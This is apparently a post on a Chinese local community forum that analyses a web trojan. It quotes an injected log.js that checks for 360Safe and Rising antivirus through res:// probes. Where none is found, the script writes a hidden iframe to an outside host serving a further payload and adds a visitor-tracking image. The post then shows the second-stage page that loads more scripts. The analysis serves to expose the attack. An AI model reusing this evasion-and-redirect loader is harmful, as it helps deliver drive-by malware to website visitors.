信宜-玉都风情网欢迎您的到来，注册后，您将能玩到更多好玩的功能！信宜人的网上家园，网聚信宜人的力量。
您需要 登录 才可以下载或查看，没有账号？注册会员
x
马的地址：
第一个转跳地址：
http:**bbs.xcdx169.net*include*log.js（把“/”换为“*”了）
打开log.js，可以看到如下一下
{
jc_list = ['res://C:\\Program%20Files\\360\\360Safe\\360hotfix.exe/GIF/172','res://D:\\program%20files\\360safe\\360hotfix.exe/GIF/172','res://C:\\program%20files\\360safe\\360hotfix.exe/GIF/172','res://D:\\Program%20Files\\360\\360Safe\\360hotfix.exe/GIF/172','res://e:\\Program%20Files\\360\\360Safe\\360hotfix.exe/GIF/172','res://f:\\Program%20Files\\360\\360Safe\\360hotfix.exe/GIF/172','res://C:\\Program%20Files\\Rising\\Rav\\rssafety.exe/PNG/123','res://D:\\Program%20Files\\Rising\\Rav\\rssafety.exe/PNG/123','res://e:\\Program%20Files\\Rising\\Rav\\rssafety.exe/PNG/123','res://f:\\Program%20Files\\Rising\\Rav\\rssafety.exe/PNG/123','res://C:\\program%20files\\360safe\\360Safe.exe/GIF/172','res://D:\\program%20files\\360safe\\360Safe.exe/GIF/172','res://E:\\program%20files\\360safe\\360Safe.exe/GIF/172','res://F:\\program%20files\\360safe\\360Safe.exe/GIF/172','res://C:\\program%20files\\360\\360safe\\360Safe.exe/GIF/172','res://D:\\program%20files\\360\\360safe\\360Safe.exe/GIF/172','res://E:\\program%20files\\360\\360safe\\360Safe.exe/GIF/172','res://F:\\program%20files\\360\\360safe\\360Safe.exe/GIF/172'];
for ( i= 0; i<jc_list.length; i++)
{
ischeck = 1;
x = new Image();
x.src = "";
x.onerror = function()
{
ischeck = 0;
}
x.src = jc_list;
if (ischeck == 1)
return 1;
delete x;
}
return 0;
}
if(!panduan())
{
document.writeln("<iframe src=http:\/\/jkwd.xywy.com\/20091104\/tmp\/hx.html?天10 width=100 height=0><\/iframe>");
var a3742tf="51la";var a3742pu="";var a3742pf="51la";var a3742su=window.location;var a3742sf=document.referrer;var a3742of="";var a3742op="";var a3742ops=1;var a3742ot=1;var a3742d=new Date();var a3742color="";if (navigator.appName=="Netscape"){a3742color=screen.pixelDepth;} else {a3742color=screen.colorDepth;}
try{a3742tf=top.document.referrer;}catch(e){}
try{a3742pu =window.parent.location;}catch(e){}
try{a3742pf=window.parent.document.referrer;}catch(e){}
try{a3742ops=document.cookie.match(new RegExp("(^| )AJSTAT_ok_pages=([^;]*)(;|$)"));a3742ops=(a3742ops==null)?1: (parseInt(unescape((a3742ops)[2]))+1);var a3742oe =new Date();a3742oe.setTime(a3742oe.getTime()+60*60*1000);document.cookie="AJSTAT_ok_pages="+a3742ops+ ";path=/;expires="+a3742oe.toGMTString();a3742ot=document.cookie.match(new RegExp("(^| )AJSTAT_ok_times=([^;]*)(;|$)"));if(a3742ot==null){a3742ot=1;}else{a3742ot=parseInt(unescape((a3742ot)[2])); a3742ot=(a3742ops==1)?(a3742ot+1):(a3742ot);}a3742oe.setTime(a3742oe.getTime()+365*24*60*60*1000);document.cookie="AJSTAT_ok_times="+a3742ot+";path=/;expires="+a3742oe.toGMTString();}catch(e){}
a3742of=a3742sf;if(a3742pf!=="51la"){a3742of=a3742pf;}if(a3742tf!=="51la"){a3742of=a3742tf;}a3742op=a3742pu;try{lainframe}catch(e){a3742op=a3742su;}document.write('<img style="width:0px;height:0px" src="http://web2.51.la:82/go.asp?svid=4&id=3483742&tpages='+a3742ops+'&ttimes='+a3742ot+'&tzone='+(0-a3742d.getTimezoneOffset()/60)+'&tcolor='+a3742color+'&sSize='+screen.width+','+screen.height+'&referrer='+escape(a3742of)+'&vpage='+escape(a3742op)+'" />');
木马第2个转跳地址是：
http:**jkwd.xywy.com*20091104*tmp*hx.html（把“/”换为“*”了）
打开得到如下：
<html>
<script src=h.js></script>
<script src=b.js></script>
<body>
<span id="sp1"><IMG SRC="images.gif"></span>
</body></html> |
/1 
提升卡
置顶卡
沉默卡
喧嚣卡
变色卡
抢沙发
千斤顶
显身卡
楼主
